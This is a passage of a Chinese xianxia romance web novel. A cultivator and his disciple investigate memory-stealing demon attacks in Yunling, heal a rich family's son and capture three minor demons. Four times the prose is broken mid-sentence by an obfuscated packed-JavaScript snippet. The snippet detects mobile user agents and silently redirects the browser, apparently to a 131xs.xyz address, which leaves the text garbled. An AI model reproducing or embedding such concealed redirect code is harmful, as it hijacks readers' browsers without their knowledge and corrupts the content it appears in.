他从小惹事生非,挨家挨户的得罪完了,赵家却从不严加管教,只以微薄补偿搪塞了事。 百姓虽心中不服气,但碍于赵家权势,只得忍气吞声。 所以当年舅舅为在云陵安稳度日,便忍下了那家伙摧折姚黄的行为,甚至也不允许她前去理论。 温拂渔叹息。就算得知此情况,她还是只能闷着头皮带路。 好不容易到了赵府,站在其巨大匾额下方,门口站着几位笔直着身躯的黑衣侍卫,此刻正上下打量着眼前两个人:“二位,来赵府有何贵干?” 连郁取出一枚白玉令牌,示于侍卫面前:“我们来自青山门,为调查妖患之事前来叨扰。” 那玉牌晶莹剔透,上刻“青山门”三字,质地厚重,比弟子所用的轻薄木牌高级多了。 于是温拂渔默默将已触及木牌的手收回。 “原来是仙师驾临,失敬失敬。”侍卫显然早已接到吩咐,当即缓和了神色,侧身引手道,“二位请进,老爷已等候多时。” 温拂渔虽对赵家早有耳闻,但她从未来过,如今一步踏进来才知晓,这赵家在云陵到底有多奢靡。 一入府门,身侧就是一株与她差不多高的纯金发财树,上面缠绕着红绳,应该是为了求财。 她不住吐槽:都这么有钱了还求财,给老百姓一点活路吧。 再往里走,路径分明,亭台错落,每间屋舍之间相隔甚远,道路四处都植被着名贵花木,像是踏入了缩小的皇家园圃。 若是没有人带领他们进来,她觉得自己怕是要迷路。 想来那个闯入赵家的妖,应该也是吃了不少苦头。 “二位仙师,老爷就在大厅里面,请进。” 温拂渔紧随连郁身后,抬脚迈过门槛,便见一位中年男子正背着手在厅中焦虑踱步。听闻动静后他猛地转身,脸上露出如释重负的神情。 他快步迎上:“二位仙师,可算把你们盼来了,快请上座。” 连郁微微颔首随他入座:“请赵老爷详述经过。” 赵老爷便将遭遇一一道来。 过程与前四人无异:他不过是在府中散步,忽从井中窜出一个披头散发的“人”,将他一把按倒在地,一只指甲修长的手覆上他的头顶,随后他便渐渐失去了意识。 后来他被家丁唤醒,发现自己倚在井边,不知已昏睡了多久。想起城中流传的妖患传闻与自身遭遇极其相似,便上报了城主,事后又请了多位郎中检查,确定身体上没出什么问题才彻底放心。 赵老爷语速极快,待讲完自身经历后,他神色突然凝重起来。 “我是无碍了,可我儿出了大问题!”他语气激动起来,“前日那妖患再度来袭,目标是吾儿!” 温拂渔与连郁交换了个眼神。 第二次袭击! 这是前面四位事主未曾经历的情况。 连郁问道:“可否让我们与令郎见面?” 赵老爷却连连摇头:“这正是问题所在,吾儿自那日后,竟是疯了!” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252361|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坤炳自青山门归来后便一蹶不振,他这做父亲的不过训诫了几句,儿子便将自已反锁房中,谁也不见。 在接连打翻数顿饭菜后,赵老爷索性懒得管他,自顾忙于生意,任其自生自灭,后来自身遭遇妖患,更无暇顾及赵坤炳。 “谁知前日晚间,家丁突然听见他房间传来撕心裂肺的声音,房间里不断传来的东西被打摔的声音。但因我早吩咐过别管他,一整夜无人敢去查看,都以为他又在发脾气……”赵老爷越说声音越是颤抖,眼中满是自责,“次日我听闻此事前去查看,只见他已倒地不起,眼白上翻,口吐白沫。” 赵坤炳的情况与他人截然不同。 听说他醒来后便陷入癫狂,什么都听不进去,时而抱头嘶吼,时而砸物撞墙,像疯了一样。赵老爷只得给他喂服药物,让他长时间处于昏睡状态。 赵老爷本想设宴款待二位仙师,待赵坤炳醒来再行探查,不料正谈着,一个家丁慌慌张张地奔了进来。 “老爷,不好了!少爷突然醒了,打伤了好几个家丁!” “什么?!” 赵老爷猛拍扶手,迅速起身向外奔去,连郁与温拂渔当即紧随其后。 还未靠近赵坤炳的居所,温拂渔便听见一声惨叫传来,却并不是赵坤炳的声音。 三人加快了速度,只见门内衣冠楚楚的少爷正死死咬住一名小家丁的手臂。他发了狠地撕咬,家丁疼得眼泪狂掉,连句完整的求救都吐不出来。 “拂渔,护好赵老爷。”连郁转头吩咐道,随即如一阵清风掠入室内。 他动作快得惊人,趁赵坤炳尚未察觉有人闯入,一记手刀精准劈向其后颈。又在赵坤炳吃痛松口的刹那,反手钳住其下颌,防止他再度咬人,随即示意家丁赶紧离开。 那家丁年纪不大,如今早已被吓得腿软,竟在原地抖如筛糠,无法移动分毫。温拂渔见状,赶忙上前拉他往门外带。 可谁知这赵府主仆都是没用还要惹事的主。 那赵老爷见连郁出手有些重,心疼地扑向儿子,竟抓住连郁手腕道:“仙师,是否下手太重了?吾儿最是怕痛……” 连郁本在查验赵坤炳状况,结果突然被这般干扰,不由眉头一蹙:“赵老爷,请不要……” 就在这分神的刹那,赵坤炳察觉钳制松动,猛地挣脱开来,转而扑向了赵老爷。 幸得连郁护着赵老爷闪身避开。 赵坤炳见自己一击扑空,又瞪向身后的温拂渔与那家丁,随即便张牙舞爪地冲他们而来。 那家丁好不容易挪到门口,见这架势又吓得腿软倒地,直接瘫在了温拂渔身旁。 温拂渔只觉太阳穴青突突直跳。 她真的好久没这么生气过了——这赵府上下,简直没一个靠谱的! 家丁只察觉到身旁身影一动,少女已疾步上前,一把扣住少爷手腕,迅捷转身绕至其后反拧其手臂,最后以一记利落的肘击将他制倒在地,再将他压在身下。 温拂渔一番动作如行云流水,直至单膝点地,她连眼帘都未抬一下。 “赵老爷,这才是下手重。”她道。 14. 妖患(二) 赵坤炳被压制后,温拂渔嫌其他人碍手碍脚,找来一根粗绳将其绑好,并且把无关人等赶了出去。 甚至在对上赵老爷心疼的目光时她也丝毫不心软。 “不想救他就直说。”温拂渔没好气道,“都这样了他还能感觉到疼吗,您还将二十好几的人当婴孩呵护呢?” 赵老爷见自己被一位小姑娘毫不留情地批评了,一瞬间愣神,然后便见对方猛地一下把门关上了。 温拂渔呼出一口气,转身打算去看赵坤炳的情况,却见本应检查他的连郁此刻正抬起头,目光落在她身上。 男子的目光清澈明亮,却看得她浑身不自在。 温拂渔疑惑道:“仙尊?” 连郁这才缓缓回神,他下巴轻指赵坤炳:“把他架起来,方便施法。” 原来是需要她做事。 直说不就好了,一直盯着她干嘛。 温拂渔“哦”了声,便乖乖绕到赵坤炳身后,把已经被她揍晕陷入昏迷的人架起,正面朝向连郁。 赵坤炳虽是个纨绔公子,但毕竟也是个成年男性,宽背几乎把温拂渔全部遮住,为了看清连郁的动作,她只得努力探出半个脑袋。 只见连郁无声捏诀,手上快速结印,随后并指朝赵坤炳眉心一点,迅速将周身真气渡入其体内。 温拂渔只感觉到很强的一股气在面前飞舞,她险些没稳住身形 不愧是仙尊,施个小法都能如此威猛。 施法完毕,连郁收回手,将周身真气重新压回体内,屋内的压迫感顿时消失。 只是他的眉头却没松开。 “我方才施的是探查记忆术法。”他看向温拂渔,“可看清楚了?” 少女点头,但又摇摇头:“看见了,但太快了没记住。” 连郁闻言,瞥了眼不被扶着就会倒下的赵坤炳,指尖释放灵力,便见那绳子像有生命似地行动,将人缚于床柱稳定身形。 若是赵老爷看见这一幕,估计又要哭天抢地了。 温拂渔却只暗叹:真潇洒,她日后一定也要习得。 安置妥当后,连郁示意温拂渔至赵坤炳面前坐下,自己则盘腿坐在她身侧:“跟着我学。” 温拂渔目不转睛地盯着他的手部动作,照葫芦画瓢,很快便上手成功,模仿连郁那般煽动自身真气,指尖点向赵坤炳的额间。 霎时间,她感到自己的真气被无形的力量吸走,全部涌入赵坤炳脑中。 同时,她感受到他的情况——他大脑里的记忆东一片西一片,有的又裹在一起,像个锋利的球不断滚动。 但随着真气灌入,这魂乱的情况似乎好转了不少。 她控制着自己不被完全吞噬,问道:“仙尊,他的记忆如此混乱,我该怎么办?” 却见连郁探手而来,轻轻覆上她点在赵坤炳额间那只手的腕上。动作轻柔,肌肤触碰,肩膀与她相贴近。 温拂渔一怔,下意识想缩回手。 “别动,你灵力不挤,我渡你些真气。”连郁指尖微微收紧,稳住她的手腕,“集中精神,他这状况是法术所致,我们便以法术解之。” 温拂渔颔首,努力使自己的注意力专注眼前,闭上眼,将赵坤炳的记忆重新整理好。 施法完毕,连郁松开手,她顿时失了力,撑在地上大口喘气。 好高强的施法强度,这不是对一个“新人”该教的东西吧?这不应该他在那操作,她坐在一旁看吗? 连郁见她这般模样,目不转睛地盯着她。 直到看见一滴汗水顺着她脸颊滑落,鬼使神差地,他攥起衣袖,轻轻为她拭去那滴未滑落的汗珠。 温拂渔:? 等等,这样是不是太暧昧了啊仙尊? 连郁却恍若未察觉般地收回手,起起身负手俯看她:“只是输送些灵力便疲惫成这样,回山后,需多给你布置些课程了。” 那点暧昧氛围顿时荡然无存。 温拂渔不自觉地抿了抿唇:哦,忘了他是连郁了,果然那副关爱世间所有人的本质还是不会变的,区区一个擦汗有什么好在意的。 她随之起身,拍去衣服上的灰尘,低头看向赵坤炳时,发现他紧皱的眉头已舒展几分。 起身她方才的行为都是半推半就执行的,她对此还隐约有些云里雾里。 “仙尊,他这算是治好了?” 连郁颔首,指尖轻动,绳索随之解开。他轻巧地将赵坤炳安置榻上,道:“凡人之躯,先遭法术扰乱神智,又受法力强力恢复,怕是需睡个几日才能恢复如初了。” 温拂渔盯着赵坤炳那张面色惨白的脸,要不是还在呼吸,看起来毫无生气可言。 这么多人遇见妖物袭击,为何就他遭遇此毒手…… 虽然心中尚有疑虑,但照顾屋外人的心情更加紧要。 二人推开门朝外走去。 那赵老爷已经不知在门口踱步多少回了,见门被推开,不管不顾地直冲房间,看着自己孩子毫无生气的模样心疼坏了:“二位仙师,这……” “令郎目前已无大碍,这几日多给他补补,待他体内多余真气流逝完毕,便算痊愈。”连郁道,“稍后我在门口布一阵法,能保这房间七日内邪祟不侵。在我等抓到妖物前,请勿让他离开房间。” 待连郁设置好阵法,赵老爷连连道谢,亲自送他们离开赵府大门。 至此,五位事主的情况全部了解完毕,接下来就是总结案件与之后的行动方向。 经过这么一番折腾,日已西沉,连郁决定找一处落脚,再商讨妖物之事。 只是他在袖中摸索片刻,却迟迟未寻得目标,不由问道:“拂渔,钱袋子可你那儿?” 温拂渔“啊”了一声,这才想起确有此事。 下马车时,连郁顺手把钱袋子交于她,让她付给车夫钱,付完后她就自然而然地装进了自己包里,忘记还给连郁了。 她探手入怀,正欲取出,一个想法却忽然闪现在脑海——这是个回家的好机会! 于是她假装没摸到,在包中翻找再三,最终抬眸看向连郁,小声开口道:“钱袋……不见了。” “不见了?当真?” 被这么一反问,温拂渔别扭地移开视线:“是的,许是在路上不小心掉了吧。” 骗人。 连郁看着她这副模样,轻而易举地看穿了她的把戏。 她真的很不擅长说谎,明明平时最习惯用亮眸盯着人,可一旦心里有鬼时,就总会避开视线。 他看穿了她的把戏,可他并不打算点破。 “这样啊。”连郁故作惋惜,“那今夜只有找个角落,席地而眠了。” 温拂渔见连郁信了,脑袋立刻扭过来,一双明亮的眼眸看着他,语气极其认真:“仙尊不必担忧,我舅舅在这附近,断不会让您露宿街头。” 连郁凝望着她,嘴角忽地扬起一抹浅笑。 “好啊。” * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252362|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母出事后,温霁便带着她从温家脱离,在云陵的一处山明水秀之地修了个小院,闲云野鹤,安宁度日,少有外人打扰。 温拂渔带着连郁跨过小溪,经过木桥,穿过绿地,终于来到一处院子。 虽说是小院,但……小院与小院之间还是有区别的。 眼前这片天地,更应该叫作庄园。 广阔土地围着一人高的篱笆,藤蔓缠绕,繁花点缀,院里时不时传来鸡鸭鹅的声音,生机盎然。 温拂渔娴熟地推开门,扬声唤道:“舅舅!” 不消片刻,便听闻脚步声靠近,一名抱着大鹅的女子从一旁走出,惊讶地看向门口的两人。 “小姐?” “朱蕴姐!”温拂渔迎上前去,“舅舅呢?” 朱蕴指了指小花圃:“在那给他的花修枝呢。不过……”她看了看温拂渔身后的男人,“这位是?” “是收我为徒的祝荣仙尊。”温拂渔道,“我们如今是来云陵城执行任务的。” 朱蕴朝连郁微微倾身,带着他们二人朝里走。 “自你入门后,大人每日都在盼望你再给他寄一封信,谁知后来便杳无音信了。”朱蕴边走边道,“你待会儿多哄哄他。” 温拂渔笑着应声。 花圃里,温霁坐于轮椅上,正悉心修剪花枝。最后一剪落下,他听见那熟悉的称呼在耳畔响起。 “舅舅!”温拂渔朝他小跑过来,见舅舅安然无恙,心中的巨石终于落地,“我可想你了!” 一直静观这一幕的连郁忽地轻声开口:“她看起来很开心。” 他突然出声,惊了朱蕴一跳,随即含笑解释道:“是啊,小姐在大人面前总会比平日活泼些,毕竟温大人与小姐是彼此唯一的亲人了。” 连郁再度看向花圃里相谈甚欢的舅甥,温拂渔的笑容是难得一见的明媚,不知怎的,一段封尘已久的记忆突然涌上心头。 那时候她是青雪,是个独身一人的小姑娘。 她终日冷着一张小脸,浑身都是刺。而他为了靠近,不厌其烦地为她磨平尖刺。 “青雪啊,就没有什么事是能让你开心的吗?” 少女又埋在藏书阁的书册里,头也没抬:“我也没有悲伤啊。” 他一把扣住对方的书,却在对上少女不悦的眼神后又默默松开,弱弱道:“从我认识你开始,你笑过的次数我掰手指都数的清,还总是喜欢皱眉,当心年纪轻轻就成了小老太婆。” 少女开口询问:“为何要这么在意我?” 连郁顿了顿,只觉地耳根有些发烫:“因,因为我这个人向来大度,最爱关心周围人的状况……” 这是在撒谎。 明明目光总是追随她的身影,她的一举一动,她的一颦一笑,他都在意的不行。 可他终究不敢说出口。 连郁本以为自己又要招来一顿训斥,都做好了挨骂然后厚着脸皮转移话题的准备了,却听闻一声轻笑。 少女指尖敲打着桌面,脸上是难得的笑容:“嗯,是深受百姓爱戴的连郁仙师呀。” 那笑容,他记了好久好久。 哪怕她离开了好些年,记忆里有关她的音容笑貌都模糊地想不起分毫,他却始终忘不掉这个笑容。 “对了舅舅,忘给你介绍了,这位是祝荣仙尊,我的师尊。” 温拂渔的声音再度响起,他抬眸看去,少女笑容依旧未减。 一如当年。 15. 妖患(三) 温霁了解到二人前来云陵城是有任务在身,便也没再与温拂渔过多闲聊,晚饭过后便与朱蕴一同为连郁收拾了间厢房。 温拂渔本来也想帮忙的,但被温霁支开,并表示她只需要负责招待仙尊便是。 她于是妥协,转头看向连郁,问的直接:“仙尊需要我如何招待?” 连郁对她这种单刀直入的性格还是有些不习惯:“……谈谈你对这次案件的看法便可。” 温拂渔眨眨眼。 对哦,沉浸在舅舅没事的喜悦心情里,险些就忘记了正事。 于是温拂渔带着他去后院,二人于滕椅落座,随即开始根据今日所得的消息梳理起案件脉络。 温拂渔道:“除开那位赵公子的情况,此番事件与其说是妖族作恶,倒更像是在搞恶作剧引起百姓的恐慌。除此之外,我想不通他们为何这样做。” 连郁赞同她的看法。 若抛开赵坤炳的情况来看,确实只是些无伤大雅的骚乱事件。 可是,赵坤炳的情况并不能被抛开。 “对付赵公子下手之辈,绝非寻常妖物,恐怕是这群惹事妖物背后的主使者。” 可温拂渔不明白:“为什么偏生对付的是赵坤炳,他人缘再差也轮不要妖物袭击吧?而且扰乱记忆这种操作,有什么特别的意义吗?” 夜风袭过,吹地一旁的藤蔓叶交融发出“沙沙”的响声。 “记忆乃人之根本。”连郁声音低沉,缓缓道来,“它不光是回忆,还有习惯存在。赵公子会变成如此,便是因为他无法忆起自己是谁,要做什么,该做什么。他的记忆混乱不堪,无法给他提供一切信息,他就只剩下本能的痛苦。” 他这么说,温拂渔好像能理解了。 大概就像她往日研习术法时,遇见一道熟悉的题,但怎么都想不起与其相关,反而还会被其他无关的记忆打扰。 这种时候的她确实很烦躁痛苦。 “至于为何仅有赵公子变成这样,恐怕除了他自己,就只有那施害的妖物知晓了。” 随着连郁的话音落下,温拂渔抬起头,望着天上的点点繁星,不禁叹息这岌岌可危的人妖关系。 妖族自百年前就开始与人、仙两界不对付。 而仙者会灵力,大能者可直逼神仙,故而大部分妖族只挑软柿子,欺凌手无缚鸡之力的凡人。 可温拂渔却看过人与妖和平共处的景象。 那是她刚去到太初年时。彼时人界与妖界的共通边缘地带设有许多建筑,终日喧闹非凡。 那里有人妖共营的小酒馆,可以看见头上长角的药物搂着一个弱不禁风的男人,两人对酒当歌谈人生:还有妖族会售卖些自己掉落的毛发鳞甲,会有藏品艺术家收购再制作成装饰卖出,流传人界。 甚至那时候被关在各大仙门测灵台的妖物,都是犯下过滔天大罪,并由妖族统领自己送给仙门的。 温拂渔从小便被告知妖以人为食,可怕的很,所以第一次见二者和平相处时她感到无比震撼。 可也是因为她见过了二者的和平,所以如今想起这敌对的关系,内心还是会很难受。 时光的长流可当真无情。 连郁的声音响起,将她飘远的思绪拉回:“今日所去人家似乎都在镇上,明日你我再去检查一番吧。” 温拂渔点头称是。 关于如何寻妖踪迹,这种事她懂。 到时候施展感应术释放灵力在身边,保持灵力不散全力搜寻,直到感应到妖气。 却见连郁从怀里掏出一枚小巧铃铛递给她。 “此物名为寻妖铃。”他解释道,“经景川仙尊施加了特殊法阵,对妖族的气息尤为敏感。如此,便不必不间断施展感应术耗费心神。” 温拂渔接过铃铛仔细端详。 就是个很普通的铜铃铛,掉着一条红绳,只是摇起来却不响。 “只有感应到妖气,它才会作响。”连郁从她指尖取回铃铛,却低下头,不顾她的闪躲,手法娴熟地将寻妖铃挂于她腰间,“不过此物也不是万能的,若妖气被覆盖,哪怕妖就站在眼前铃铛也难以辨别。” 温拂渔看着他为自己系铃铛,双手悬在半空中,放也不是,不放也不是。 仙尊还带主动为弟子系东西的? 她眨眨眼,待连郁的手从她腰间移开,忍不住问道:“仙尊……仙尊待弟子都如此亲和吗?” 连郁抬眸看她,却并未作答,只将话题转开:“我记得茗月仙尊夸过你感应术练的不错,今夜你可在加研习,若遇到瓶颈唤我便是。” 忽又想起一事,补充道:“至于你那本命剑,还是把它带在身上罢,避免紧急时刻召唤不过来。” 温拂渔虽点头应下,内心却不禁暗想:他是不是把方才的话题带过去了? 二人交谈间,温霁与朱蕴给他俩端来两碗桃花丸子酒酿,温霁还不忘介绍道:“这是阿渔很喜欢的甜羹,不知仙尊是否吃的惯。” 温拂渔在青山门待这些日没怎么吃甜食,眼前的酒酿伴随着丝丝桃香,她迫不及待地端起碗吃了起来。 而连郁道谢后接过后,却只置于一旁,并未动酒酿。 温拂渔察觉到他投过来的目光,疑惑地看了眼完整的酒酿,又看向他,询问道:“仙尊不吃吗?就算辟谷了也可以尝尝,我舅舅的手艺很不错的。” 连郁却几不可察地蹙了蹙眉。 问他为何不吃?她竟然不记得他的忌口了? 他闷声道:“我不喜甜品。” 不知是不是错觉,温拂渔竟莫名感觉出一丝生闷气的意味。 他以前很喜欢捣鼓甜品糕点,整得她刚回来那一个月嘴还有点叼,如今口味慢慢才恢复起来。 如今他却说他不喜甜品? 忽然间,温拂渔忆起一事。 连郁对酒精敏感,喝一口能睡一天,故而他从不沾酒。 她竟将这事给忘了。 她抿了抿唇,不知该如何开口。 毕竟连郁如今不提,她又不能表现地知道这事,只能继续装作不知晓,默默把他面前的碗拖至跟前。 “既然仙尊不吃,那就给我吧,我不嫌弃。” 说罢她无视对方的眼神,闷着头喝了整整两碗酒酿,打饱嗝时都能感受到胃里的酒气。 她今夜一定非常好睡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252363|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>* 翌日,二人早起去到街上,顺着昨日的行走轨迹,感应隐藏于市的妖物。 清晨的集市热闹非凡,这里行人弥漫,说不定会有自以为伪装地天衣无缝的妖物混迹。 温拂渔跟在连郁身侧,腰间的寻妖铃随着步伐左晃一下右晃一下,轻轻敲打她的大腿,却没能传出一点声音。 路过一户卖兔子的商铺,人群熙攘,她好奇地瞥了一眼,看见一只黑白毛色的兔子待在笼子里,正目不转睛地盯着她。 温拂渔与那兔瞳对视片刻,忽地低语:“好大的兔子,做成麻辣兔头应该好吃……” 声音极轻,无人听见。 只是那兔耳随着她落下的话音,煽动了几下。 她扭头打算继续前进,却忽然听见腰间的铃铛似乎响了一声。 连郁耳尖微动,回头看了她一眼,随即指尖一点,他便展开了感应术。眼眸瞬间被深蓝色光华覆盖,同时,他在眼中看见断断续续的红色妖气正在人群里弥漫开来。 而那位散发妖气的妖物似乎感受到落在自己身上的视线,疑惑地回过头,正撞进连郁的眼中。 “靠!” 他感受到男子身边汹涌的真气,大骂一声,推开人群,脚步轻盈地跃上屋檐,拔腿就跑。 连郁望着他逃离的方向,却是口中念了句什么,还没等温拂渔反应过来,便像风一般消失不见。 温拂渔:……就不能带她一起吗? 她无奈叹了口气,无视百姓震惊的目光,抬脚便也跃上屋檐,去追连郁去了。 这一情况震惊了街上的人,那卖兔子的商贩一时看地竟忘记关笼子门,好几只兔子争先恐后地跑了出来。 “哎哟,我的兔子!” 商贩大叫着去追兔子,而那只黑白毛色的兔子,趁此刻无人注意,忽然变成一抹黑烟,消失在笼子里。 随后在一处暗巷里,一抹黑烟凭空浮现,从里面变出一个高大威猛的男人。 在他对面的墙边,正靠着一位身姿婀娜的女人,她嘴里叼着烟斗,呼出一口烟气笑了一声:“如何,找到人了?” “来了两个。”兔妖道,“我看那令牌,是青山门的人。男的瞧着很厉害,应该是仙者。身边跟着一丫头,普普通通的,我猜是他的徒弟。” 那兔妖说着,不知想到了什么,情绪突然变得激动起来:“啧,说起那丫头我就来气!长着一副老实模样,看见我时居然盘算着要吃我!还专挑脑袋!要麻辣味的!这是人能说出的话吗,看我到时候不好生教训她……” “够了。”女子打断他,“大人有令,不可肆意妄为,我们的任务只是制造恐慌,引来大人要寻找的那位就行了。” 兔妖愤愤瞥了她一眼:“遭惦记的又不是你,你自然不在意……” 女人低低地笑了声,无视了他的话。 青山门啊。 这个名字似乎从大人口中听见过,看来,需上报一番了。 她掀起眼帘,一双蛇瞳直直地盯着兔妖:“你继续去探情报罢,有什么情况立刻通知我。” 兔妖极其不愿地应了声,再度化作黑烟,消散于暗巷之中。 16. 妖患(四) 经过一日的搜寻,两人在云陵城中碰见不少妖物。 其中大部分是得到许可寄居在云陵城寄居的妖,有一些是想做坏事但还没来及做坏事的妖,剩下的有三只便是这次案件的始作俑者。 将三妖抓获成功后,连郁正试图联系仙盟,温拂渔则在这蹲守。 她看着眼前被迫跪在地上,身上被捆绑着锁妖绳的祸端,仔细对这三者端详了一番。 一鸟,一兔,一鱼。天上飞的,地上跑的,水里游的,倒是齐全。 她开口问道:“喂,你们这么做是有什么目的?” 他们浅抬眼看了看温拂渔:年纪不大,长着一副好脾气脸,跟方才那个连抓他们三个都脸不红气不喘的男人相比,对他们造不成威胁。 于是他们再次低下头,都不打算搭理她。 “都不想说?”温拂渔目光在他们三身上扫视,缓缓道,“行吧,反正待会仙盟要来,就直接把你们丢给仙盟拷问吧。” 听到“仙盟”二字,三只妖顿时慌了。 仙盟是什么地方啊? 那是除神魔两界外,最高的职权点。那里面待着的可都是些上了年纪,性格古板,法力通天的仙族长老们,那妖族被抓到里面拷问,那可是什么残酷的刑罚都来啊。 三妖开始你看我我看你,好半天了还是没一只妖开口。 “行吧,反正就算能逃出去也会被他们杀死,还不如被带回仙盟呢。”那兔妖咂舌,“你想问些什么?” 温拂渔看了他一眼:“你就是那只吓坏小姑娘的兔妖吗?” 昨日他们去拜访时,那小姑娘都还沉浸在兔子变成人的恐惧中,她不明白怎么可爱的小兔子会突然伤害她。 那兔妖盯着她,却突然笑了一声:“如果我说不是我,你信吗?” 温拂渔微微蹙起眉。 她本欲斥诉他狡辩,却听见兔妖继续自顾自说了起来。 他们这三妖是好友。 在此之前,他们本来在妖界安居乐业好不快活,忽有一日,曾经一起喝酒玩乐的朋友就找到他们,问他们要不要去人界找点乐子。 起初他们当然是不愿意的。毕竟仨妖的能力也没多厉害,在人界惹事被仙者抓住,他们可不一定逃的掉,那不就等于是自投罗网。 可对方却说,自己有个宝贝可以抑制妖气,躲避仙门的追踪。看他们不信,还专门带着他们去到有仙者的地方试验,果真没有被发现。 之后便是三只妖被扩大了野心,跟着对方待在了云陵城找乐子。 温拂渔心生疑虑:“宝贝?那是个什么东西?” 鸟妖道:“外表是个锦囊,我们也好奇打开看,但上面施了很强大的法力,我们打不开,也不知道里面到底是什么。” “当真可以隐藏妖气?” 兔妖在一旁又笑了,还是那副欠样:“对啊,不然怎么两只妖,你们却只抓到我这只隐藏在人海之中的,却错过那只现身在众目睽睽之下的妖呢。” 温拂渔一愣。 面前这只兔妖便是一开始在街上遇见的那个,他挤在兔贩的摊位前,因为铃铛响起所以被发现。 但他这话是什么意思? 当时原本还有另一只妖存在? 温拂渔突然有种不好的预感。 “他就躲在那里,在那个兔贩子的其中一个笼子里,并用那宝贝遮住了自己的气味。”兔妖道,“是那只最显眼的,黑白毛色的兔子。” 温拂渔顿时愣在原地。 那只兔子,她似乎还与其对视过。但那时候的铃铛却没有响…… “所以是那锦囊抑制了他的妖气?” 兔妖点头:“正解。他们给我们的是假的,自己是却是真的。如今我可算是看清他们的嘴脸了。” “他们是谁?” “就是骗了我们的两妖。一蛇,名为岚巳,一兔,名为岚卯。”兔妖道,“对了,可别把他们想的像我们这么弱,他们可是很强的。” 鸟妖补充道:“他们好像追随了个不得了的人物,本来就厉害了,现在更是厉害。” 温拂渔继续问道:“那你们潜入百姓家中,覆上对方头颅使其陷入昏迷是为了什么?意义何在?” “主,主要是吓到人很好玩……”这次是鱼妖开口了,他的声音很小,甚至还有些结巴,“但,但也是有目的的。我们是为了窥探记忆,帮他们找,找一个人……” 温拂渔顿时被勾起了兴致:“哦?是谁?” “没,没告诉我们名字,只说要注意记忆里姓温的人……” 姓温的人? 温拂渔神色凝重起来:这是什么意思?为何偏偏是温姓? 她问道:“可有说姓名?” “说是说了,但我们哪记得住啊,你们人族的名字又长又难记,一般情况根本就记不起来。” 温拂渔:“那你们怎么找人?” “我们的窥探法可和你们这些自称清高的仙者不一样,你们只能作为旁观者旁观。也不知你们怎么想的,都窥探记忆了还搞得像尊重别人隐私一样。”兔妖嫌弃道,“我们可是身临其境体验一遍对方的人生,自是能清楚知道他们记忆里每个人的名字。” 不过因为经历的是别人的人生,所以没一会儿就忘得一干二净。 温拂渔白了他一眼。 这也没什么特别厉害的点啊。 这边连郁与仙盟沟通完毕,他从温拂渔那里了解到大概,又问了些关于另外两只妖的信息,可惜得到的不是有用信息。 岚巳和岚卯是某日突然出现在他们领地的,以前并没见过。但因为二妖能力超群,很快变成了领地之主。二者也并非总一起行动,大多时候根本见不到面。 “一蛇一兔?”仙盟那位对接人闻此,像是想到了什么,喃喃道,“这么巧吗?八年前从仙盟出逃的两只妖也是一蛇一兔。” 他当时是刚入职的新手,第一次见那么恶毒的妖物,杀害了锁妖塔一路的看守,消失后更是一点踪迹都查不到,仿佛人间消失一般。 “不过依照他们嗜血的个性,应该不会做得这么委婉。”他挠挠头,“可能最近妖界流行这样的配队吧。” 温拂渔垂下眼睫,不知道在想些什么。 直到最后目送三只妖被仙盟带走,连郁道:“拂渔,先回去吧。” 她低应一声,跟着他的步伐离开了。 耳尖的兔妖却突然回过头,看了眼温拂渔渐行渐远的身影,眼眸眯起。 拂渔? 这名字有些熟悉啊,他好像在哪听过。在哪呢? 他收回目光。 算了,记不起了。 * 温拂渔后之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252364|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后又去那兔贩处光顾过。 兔贩子也对那只黑白毛色的兔子有印象,不过他不记得自己是什么时候卖出去的了。 没得到想要的答案,温拂渔礼貌道谢离开。 她带着这个坏消息去寻前方的连郁,走了没两步却猝不及防地撞上一个人,冲击力太强,她不免后退几步,甚至骗子都被撞到了地上。 “啊,不好意思。”撞到她那人连忙道歉,并附身捡起骗子递给她,“方才走了神,没有注意。” 